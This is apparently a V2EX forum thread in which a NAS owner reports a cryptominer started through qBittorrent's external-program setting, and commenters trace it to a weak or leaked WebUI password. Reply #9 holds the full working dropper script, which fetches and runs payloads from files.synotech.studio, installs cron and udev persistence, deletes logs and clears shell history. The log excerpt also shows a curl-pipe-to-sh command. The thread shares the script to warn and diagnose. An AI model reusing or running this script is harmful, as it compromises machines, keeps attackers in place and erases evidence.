请不要把任何和邀请码有关的内容发到 NAS 节点。

邀请码相关的内容请使用 /go/in 节点。

如果没有发送到 /go/in,那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动,会导致账号被禁用。
Sanarara
V2EX  ›  NAS

要注意, qBittorrent 自动运行 torrent 传播的挖矿脚本

  •  
  •   Sanarara · Jan 17, 2025 · 7740 views
    This topic created in 663 days ago, the information mentioned may be changed or developed.
    - 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
    - ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
    - kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
    - 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
    - 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*********”。命令:`sh -c "(curl -skL https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"`”
    - 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
    - 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关
    DawnMoon
    DawnMoon
    Jan 17, 2025
    2
    话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片
    k9982874
    k9982874
    Jan 17, 2025 via Android
    3
    官方源的包不会有问题,你的 qb 安装自不明脚本?
    Sanarara
    Sanarara
    OP
    Jan 17, 2025
    4
    @k9982874 群晖矿神 5.0.3 的包,已更换 docker
    DawnMoon
    DawnMoon
    Jan 17, 2025❤️3
    5
    而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。
    cat
    cat
    Jan 17, 2025❤️26
    6
    @Sanarara 矿神…… 不拿你挖矿对得起这名字吗 doge
    ysc3839
    ysc3839
    Jan 17, 2025 via Android
    7
    那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。
    iislong
    iislong
    Jan 17, 2025 via Android
    8
    我的一切正常
    Sanarara
    Sanarara
    OP
    Jan 17, 2025
    9
    #!/bin/sh
    ARCH=$(uname -m)
    FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
    if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
    (ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
    if [ "$ARCH" = "x86_64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    elif [ "$ARCH" = "aarch64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    else
    exit 1
    fi
    fi
    (if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
    (if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
    UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
    (if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
    (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
    (rm $HOME/.bash_history) >/dev/null 2>&1
    (history -c) >/dev/null 2>&1
    Sanarara
    Sanarara
    OP
    Jan 17, 2025
    10
    @ysc3839 那-----我观望下是不是弱口令
    Sanarara
    Sanarara
    OP
    Jan 17, 2025
    11
    @villivateur 原来如此,但是更恐怖了啊
    NoOne1
    NoOne1
    Jan 17, 2025
    12
    百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin
    kklove77
    kklove77
    Jan 17, 2025
    13
    遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了
    65r4Zgm364TDg652
    65r4Zgm364TDg652
    Jan 17, 2025
    14
    我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选
    StarsunYzL
    StarsunYzL
    Jan 17, 2025
    15
    qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢
    0IuL7w7X5K2HJxZf
    0IuL7w7X5K2HJxZf
    Jan 17, 2025
    16
    @cat #6 哈哈哈,说的太对了!
    NG6
    NG6
    Jan 17, 2025
    17
    能用官方的尽量用官方的,不要安装来路不明的软件
    Sanarara
    Sanarara
    OP
    Jan 17, 2025
    18
    在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件
    Leon777
    Leon777
    Jan 17, 2025
    19
    我不是矿神
    wjxd
    wjxd
    Jan 17, 2025
    20
    你的 qb 被爆破了吧?
    可以用 fail2ban 啥的,搞基于日志的防爆破。
    konakona
    konakona
    Jan 17, 2025
    21
    好多年没用过种子下载了……
    coollex
    coollex
    Jan 17, 2025
    22
    @ysc3839 #7 windows 自带的杀毒扫描不出吗?
    vpsvps
    vpsvps
    Jan 17, 2025❤️1
    23
    谢谢提醒!
    已卸载全部群晖上的所有矿神源提供的软件!
    yangzzzzzz
    yangzzzzzz
    Jan 17, 2025
    24
    qb 外网端口我都没开
    vpsvps
    vpsvps
    Jan 17, 2025
    25
    居然设置后门!
    真服了

    点开已安装套件页面
    进入软件界面
    看到发布者是矿神 XXX 的
    我都把卸载了
    kaedeair
    kaedeair
    Jan 17, 2025
    26
    @villivateur #2 什么事情都有两面性,本质上是一个 action 的 hook 。最简单的用法就是缓存盘下完转移到储存盘和转移给 tr 保种
    A3m0n
    A3m0n
    Jan 17, 2025
    27
    @villivateur 我是用这个功能来发送下载完成的通知的。
    BrontByte
    BrontByte
    Jan 17, 2025
    28
    盲猜用了反代 还开了 qb 的"对本地主机上的客户端跳过身份验证"选项
    huangsijun17
    huangsijun17
    Jan 17, 2025
    29
    @villivateur #5 bash 是机器自带的吧,我运行 bash 下一个 sh 下来不就完了?而且 bash 一句话 getshell 多简单呢?
    wsbqdyhm
    wsbqdyhm
    Jan 17, 2025
    30
    有没有改默认密码?没有改那 100%是爆破了,其次不要公网映射或者映射为一些常见端口,最后你提到设置那个开关默认是没有打开的
    salmon5
    salmon5
    Jan 17, 2025
    31
    不懂问下:qBittorrent 不是一个下载客户端吗?怎么还有弱口令?
    Sanarara
    Sanarara
    OP
    Jan 17, 2025 via iPhone
    32
    @wsbqdyhm 非默认,后发现密码泄漏,有人一直在扫,更换域名后安静如鸡
    manshisan
    manshisan
    Jan 17, 2025
    33
    @cat 人家无偿给小白提供服务,你还拿他名字开玩笑,就这一堆人觉得你说的对。我是看不懂。
    wsbqdyhm
    wsbqdyhm
    Jan 17, 2025 via iPhone
    34
    @vpsvps #25 看了本帖之后 op 的回复,我又装了好几个矿神的,哈哈
    Rorysky
    Rorysky
    Jan 17, 2025
    35
    不知道 这个 wget --no-check-certificate https://files.synotech.studio/1 下载的文件是干什么的
    exiahan
    exiahan
    Jan 17, 2025 via Android
    36
    @cat 哈哈哈哈牛哇,正在吃饭看到没绷住差点喷米线😂
    CEBBCAT
    CEBBCAT
    Jan 17, 2025
    37
    省流:乌龙
    SakuraYuki
    SakuraYuki
    Jan 17, 2025
    38
    还是用 tailscale 或者 surge 之类的 vpn 把 nas 包起来安全点
    Greendays
    Greendays
    Jan 17, 2025
    39
    qbit 改密码的流程好迷啊
    jqtmviyu
    jqtmviyu
    Jan 17, 2025
    40
    加域名白名单或者改端口, 弱密码+暴露默认端口, 早晚被爆破.
    iislong
    iislong
    Jan 17, 2025 via Android
    41
    @salmon5 应该是和我一样开了公网访问,不过我开的公网服务不是上两步验证就是套了 cf zero 认证
    tbc0309
    tbc0309
    Jan 18, 2025 via iPhone
    42
    @Leon777 在此……
    源都运行四年了,这点屁事还要我来背锅?
    xycost233
    xycost233
    Jan 18, 2025
    43
    问一问有没有好用的 homelab 探针
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   4338 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 87ms · UTC 07:44 · PVG 15:44 · LAX 23:44 · JFK 02:44
    ♥ Do have faith in what you're doing.